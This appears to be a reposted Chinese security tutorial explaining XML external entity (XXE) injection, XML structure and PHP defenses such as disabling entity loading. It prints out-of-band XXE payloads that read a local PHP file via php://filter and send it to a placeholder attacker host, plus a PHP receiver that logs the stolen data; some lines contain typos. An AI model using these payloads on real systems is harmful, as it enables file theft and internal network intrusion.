zoukankan      html  css  js  c++  java
  • 网络安全从入门到精通(第九章-1) XXE

    本文内容:

    • XXE
    • XML

    特别注意:simplexml_load_string的函数,在php中只要有此函数,就可能造成xxe。

    1,XXE:

      1.什么是xxe:

        xxe就是xml外部实体注入。

      2.xxe核心:

        原理:

          攻击者使用关键字SYSTEM,强制xml解析去去访问攻击者指定的资源内容[可以是本地文件,也可以是远程服务器系统上的文件]

        条件:

          用户能够控制输入。

          程序原本要执行的代码,拼接了用户输入的数据,然后去执行。

        作用:读取文件,攻击内网。

        危害:

          读取任意文件、

          执行系统命令、

          探测内网端口、

          攻击内网网站、

      3.XXE不足:

        很多时候后端语言解析XML后,并不会给输出。

        这样就要使用一个类似于接收平台一样的接收器:

        步骤:

          1.xml负责读取我们想要的内容。

          2.php负责接收xml读取的内容,并将内容保存到txt中。

          3.txt负责显示读取的内容。

      4.XXE防御:

        方法一:

          使用开发语言提供的禁用外部实体的办法:

            php:libxml_disable_entity_loader(true)。

        方法二:

          过滤用户提交的xml数据。

          关键词:不允许出现SYSTEM和PUBUC。

      5.XXE扩展:

        实体的名称可以随便起。

        外部引用支持http、ftp等协议不同的语言支持的协议不同,但存在一些通用协议如:

          libxml2: file、http、ftp

          php: file、http、ftp、php、compress.zlib、compress.bzip2、data、glob、phar

          java: http、https、ftp、file、jar、netdoc、mailto、gopher *

          .net: file、http、https、ftp

    2,XML:实际上就是存储数据

      1.什么是XML?

        xml指可扩展标记语言。

        xml是一种标记语言,很类似与HTML。

        xml的设计宗旨传输数据,而非显示数据。

        xml标签没有被预定义,需要自行定义标签。

        xml被设计为具有自我描述性。

        xml是w3c的推荐标准。

      2.特点:

        xml是纯文本,本身没有危害,就是一个存储数据的,但是在一些动态语言脚本里边存在一些函数:

          如:simplexml_load_string的函数,这个函数就是将xml转化为对象,在php中只要有此函数,就有可能存在XXE。

        xml可以自己发明标签[允许定义和文档结构]。

        xml无所不在,xml是各种应用程序之家进行数据传输的常用工具,并且在信息存储和描述领域越来越流行。

      3.结构:

        第一部分是申明,主要定义xml使用版本和使用编码。

        第二部分是DTD部分,主要是约束作用,简单的说,给内容部分定规矩。

          DTD约束的三种形式:

            内部DTD:<!DOCTYPE 根节点  [DTD的代码]>

            外部DTD:<!DOCTYPE 根节点 "DTD的地址">

            网络DTD:<!DOCTYPE 根节点 PUBLIC  "DTD的名称"  "DTD的地址">

        第三部分是内容。

        注意:

          定义实体必须是在DTD部分,DTD是定义XML变量,可以实现远程调用。

          DTD部分:实体用于定义应用普通文本或特殊字符的快捷方式的变量。

          实体:存储数据的变量,实体引用是对实体的引用,实体可在内部或外部进行声明。

      4.代码:

        1.攻击代码1:

          <?xml version="1.0"?>
          <!DOCTYPE ANY[
          <!ENTITY % fiel SYSTEM "php://filter/read=convert.base64-encode/resource=C:/phpStduy/scms/a/a.php">
          <!ENTITY % remote SYSTEM "http://x.x.x.x:xxx/xxe/1.xml">
          %remote;
          %send;
          ]>

        2.攻击代码2:

          <?php
          $test =<<<EOF
          <?xml version="1.0"?>
          <!DOCTYPE ANY[
          <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C:/phpStudy/scms/a/a.php">
          <!ENTITY % remote SYSTEM "http://x.x.x.x:xxx/xxe/1.xml">
          %remote;
          %send;
          ]>
          EOF;
          $obj = simplexml_load_string($test, 'SimpleXMLElement', LIBXML_NOENT);
          print_r($obj);
          ?>

        3.三个文件源码:

          xml:

            <!ENTITY % all
            "<!ENTITY %; send SYSTEM 'http://x.x.x.x:xxx/xxe/2.php?id=%file;'>"
            >
            %all;

          php:

            <?php file_put_contents("3.txt",$_GET["id"],FILE_APPEND);?>

          txt:

            空白文件,用于写入东西。

          

  • 相关阅读:
    MySql事务试什么?具有哪些特性
    MySQL的前缀索引你是如何使用的
    你知道联合索引吗?它的最左原则是什么?
    你来说一下 Mysql 索引有几种类型呢?分别是什么?
    什么是Mysql的回表查询?聊一聊
    JavaScript中使用typeof运算符需要注意的几个坑
    prototype和__proto__
    JavaScript中的普通函数与构造函数比较
    原型和原型链
    document.querySelector和querySelectorAll方法
  • 原文地址:https://www.cnblogs.com/xz25/p/12749530.html
Copyright © 2011-2022 走看看